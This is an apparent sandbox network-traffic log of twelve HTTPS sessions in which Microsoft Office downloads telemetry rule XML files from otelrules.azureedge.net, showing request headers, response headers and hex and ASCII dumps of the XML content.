2024-11-24 09:24:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:17 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: ccc9fd57-201e-0096-041b-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092417Z-178bfbc474b7cbwqhC1NYC8z4n00000005ng0000000085ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:17 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 34c66101-001e-0065-5256-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092418Z-15b8b599d88s6mj9hC1TEBur30000000045g0000000010c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:17 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 650b08ff-201e-0033-5b2f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092418Z-178bfbc474bxkclvhC1NYC69g400000005sg000000003gur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:17 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 18ec886b-801e-0078-7044-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092418Z-178bfbc474bnwsh4hC1NYC2ubs00000005ug000000006fhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:18 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 25bf86e9-c01e-007a-2c4f-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092418Z-15b8b599d882zv28hC1TEBdchn000000046g000000003fub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:20 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 84d260c2-101e-0017-627f-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092420Z-174c587ffdfks6tlhC1TEBeza4000000048000000000em60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:20 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 39e7be55-101e-008d-7d03-3d92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092420Z-178bfbc474bbcwv4hC1NYCypys00000005rg000000000bgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:20 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: d029e12f-101e-00a2-1e39-3c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092420Z-178bfbc474bw8bwphC1NYC38b400000005hg0000000091sb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:20 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cb244ee5-a01e-003d-2a49-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092420Z-15b8b599d88m7pn7hC1TEB4axw00000004a0000000006fdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:20 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: f4510472-001e-00ad-7b56-3d554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092421Z-15b8b599d88s6mj9hC1TEBur30000000045g0000000010fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:22 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:23 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 5b744128-c01e-00a1-5b39-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092422Z-15b8b599d88g5tp8hC1TEByx6w0000000460000000009pen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:22 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
